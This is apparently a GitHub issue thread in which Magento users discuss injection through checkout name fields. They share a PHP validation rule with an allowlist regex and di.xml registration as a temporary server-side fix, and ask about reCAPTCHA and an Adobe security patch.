Screenshot 2024-08-13 at 1 25 31 am

My Magento ver is 2.4.6-p2.

The path for each file is located on our web server: Magento_root/vendor/magento/module-quote/Model/ValidationRules Magento_root/vendor/magento/module-quote/etc/di.xml

I can't find the magento folder in Magento_root/app/code. See the screenshot:

Screenshot 2024-08-13 at 1 41 40 am

Did I miss anything? Thank you!

in-session commented 1 month ago

@guyiwei Can you send your XML? Do you use the Luma Checkkout or do you have other modules?

I have tested the code on our instance and have had no more problems since then. This is server-side validation. It is therefore still possible to enter data in the field, but an order should not be possible.

guyiwei commented 1 month ago

Hey @in-session Actually your sulution works. You are right, it is a server side validation. When I clicked the PLACE HOLDER button on Review & Payment tab, I can see the warning message "Last name is not valid", then it went back to Shipping tab. See the screenshot below. I previously thought it there would be some check at frontend on shipping page to stop proceeding to Review & Payment tab.

Screenshot 2024-08-13 at 7 22 51 pm

I will wait for your merging your PR . Thank you so much! :)

Max-Leps commented 1 month ago

This is the temporary fix for now:

New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Quote\Model\ValidationRules;

use Magento\Framework\Validation\ValidationResultFactory;
use Magento\Quote\Model\Quote;

/**
 * Class NameValidationRule
 * Validates the first name and last name fields in a quote.
 */
class NameValidationRule implements QuoteValidationRuleInterface
{
    /**
     * Regular expression pattern for validating names.
     *
     * \p{L}: Unicode letters.
     * \p{M}: Unicode marks (diacritic marks, accents, etc.).
     * ,: Comma.
     * -: Hyphen.
     * _: Underscore.
     * .: Period.
     * ': Apostrophe mark.
     * ’: Right single quotation mark.
     * `: Grave accent.
     * &: Ampersand.
     * \s: Whitespace characters (spaces, tabs, newlines, etc.).
     * \d: Digits (0-9).
     */
    private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';

    /**
     * @var ValidationResultFactory
     */
    private $validationResultFactory;

    /**
     * Constructor.
     *
     * @param ValidationResultFactory $validationResultFactory
     */
    public function __construct(ValidationResultFactory $validationResultFactory)
    {
        $this->validationResultFactory = $validationResultFactory;
    }

    /**
     * Validate the first name and last name in the quote.
     *
     * @param Quote $quote
     * @return array
     */
    public function validate(Quote $quote): array
    {
        $validationErrors = [];
        $firstName = $quote->getCustomerFirstname();
        $lastName = $quote->getCustomerLastname();

        if (!$this->isValidName($firstName)) {
            $validationErrors[] = __('First Name is not valid');
        }

        if (!$this->isValidName($lastName)) {
            $validationErrors[] = __('Last Name is not valid');
        }

        return [$this->validationResultFactory->create(['errors' => $validationErrors])];
    }

    /**
     * Check if a name field is valid according to the pattern.
     *
     * @param string|null $nameValue
     * @return bool
     */
    private function isValidName($nameValue): bool
    {
        if ($nameValue !== null) {
            if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
                return $matches[0] === $nameValue;
            }
        }
        return false;
    }
}

Magento\Quote\Model\etc\di.xml add at the end of <argument name="validationRules" xsi:type="array">

                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>

Like:

    <type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">
        <arguments>
            <argument name="validationRules" xsi:type="array">
                <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>
                <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>
                <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>
                <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>
                <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>
                <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>
                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
            </argument>
        </arguments>
    </type>

And after:

<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
</type>
    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
    </type>

like:

    <type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>
        </arguments>
    </type>
    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
    </type>

I just apply it in our magento - Actually I think it works, thanks

lamba commented 1 month ago

Questions

  1. Does Google reCaptcha v3 help to prevent this sort of fraud?

  2. Is this patch (just came out) the solution to this problem?

https://helpx.adobe.com/security/products/magento/apsb24-61.html

  1. If I have web API security set to disallow anonymous guest access, does that prevent this hack from taking place over the API?
DazzaRPD commented 1 month ago

This is the temporary fix for now:

New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php


<?php

/**

 * Copyright © Magento, Inc. All rights reserved.

 * See COPYING.txt for license details.

 */

declare(strict_types=1);

namespace Magento\Quote\Model\ValidationRules;

use Magento\Framework\Validation\ValidationResultFactory;

use Magento\Quote\Model\Quote;

/**

 * Class NameValidationRule

 * Validates the first name and last name fields in a quote.

 */

class NameValidationRule implements QuoteValidationRuleInterface

{

    /**

     * Regular expression pattern for validating names.

     *

     * \p{L}: Unicode letters.

     * \p{M}: Unicode marks (diacritic marks, accents, etc.).

     * ,: Comma.

     * -: Hyphen.

     * _: Underscore.

     * .: Period.

     * ': Apostrophe mark.

     * ’: Right single quotation mark.

     * `: Grave accent.

     * &: Ampersand.

     * \s: Whitespace characters (spaces, tabs, newlines, etc.).

     * \d: Digits (0-9).

     */

    private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';

    /**

     * @var ValidationResultFactory

     */

    private $validationResultFactory;

    /**

     * Constructor.

     *

     * @param ValidationResultFactory $validationResultFactory

     */

    public function __construct(ValidationResultFactory $validationResultFactory)

    {

        $this->validationResultFactory = $validationResultFactory;

    }

    /**

     * Validate the first name and last name in the quote.

     *

     * @param Quote $quote

     * @return array

     */

    public function validate(Quote $quote): array

    {

        $validationErrors = [];

        $firstName = $quote->getCustomerFirstname();

        $lastName = $quote->getCustomerLastname();

        if (!$this->isValidName($firstName)) {

            $validationErrors[] = __('First Name is not valid');

        }

        if (!$this->isValidName($lastName)) {

            $validationErrors[] = __('Last Name is not valid');

        }

        return [$this->validationResultFactory->create(['errors' => $validationErrors])];

    }

    /**

     * Check if a name field is valid according to the pattern.

     *

     * @param string|null $nameValue

     * @return bool

     */

    private function isValidName($nameValue): bool

    {

        if ($nameValue !== null) {

            if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {

                return $matches[0] === $nameValue;

            }

        }

        return false;

    }

}

Magento\Quote\Model\etc\di.xml

add at the end of <argument name="validationRules" xsi:type="array">


                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>

Like:


    <type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">

        <arguments>

            <argument name="validationRules" xsi:type="array">

                <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>

                <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>

                <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>

                <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>

                <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>

                <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>

                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>

            </argument>

        </arguments>

    </type>

And after:


<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">

</type>

    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">

        <arguments>

            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>

        </arguments>

    </type>

like:


    <type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">

        <arguments>

            <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>

        </arguments>

    </type>

    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">

        <arguments>

            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>

        </arguments>

    </type>

For what it's worth, the files in your draft commit that reference other validators - Street , City etc., are unfortunately not released to a mainstream release yet (checked 2.4.7-p2 and 2.4.6-p7). Only Name is.

Not sure if there's a holdup somewhere getting those merged in. Just wanted to point it out

in-session commented 1 month ago

@lamba

  1. Without doing any further testing, I would now say yes and no. If the repatcha is inserted in the controller, the sending of the form would be blocked because the validation is probably missing by the bot. This could also be done using honey pot. However, as soon as it is not a bot, it would still be possible to inject the code into the form.
  2. I haven't tested it yet
  3. This could also be injected by registering, share wishlist etc., so the risk is still there. My patch currently only targets the names in checkout
in-session commented 1 month ago

@DazzaRPD https://github.com/magento/magento2/pull/39030 The pull is not yet finished because I am on vacation, the validation goes into the checkout and wishlist but still needs to be integrated in other areas such as login, register, contact etc..

Max-Leps commented 1 month ago

Is anyone from Magento working on that issue? It is very ridiculous that fields validation level on Magento is very low. How they do not limit at least field length (like max 50 character) I have done more tests and fields are accepting almost anything to input :(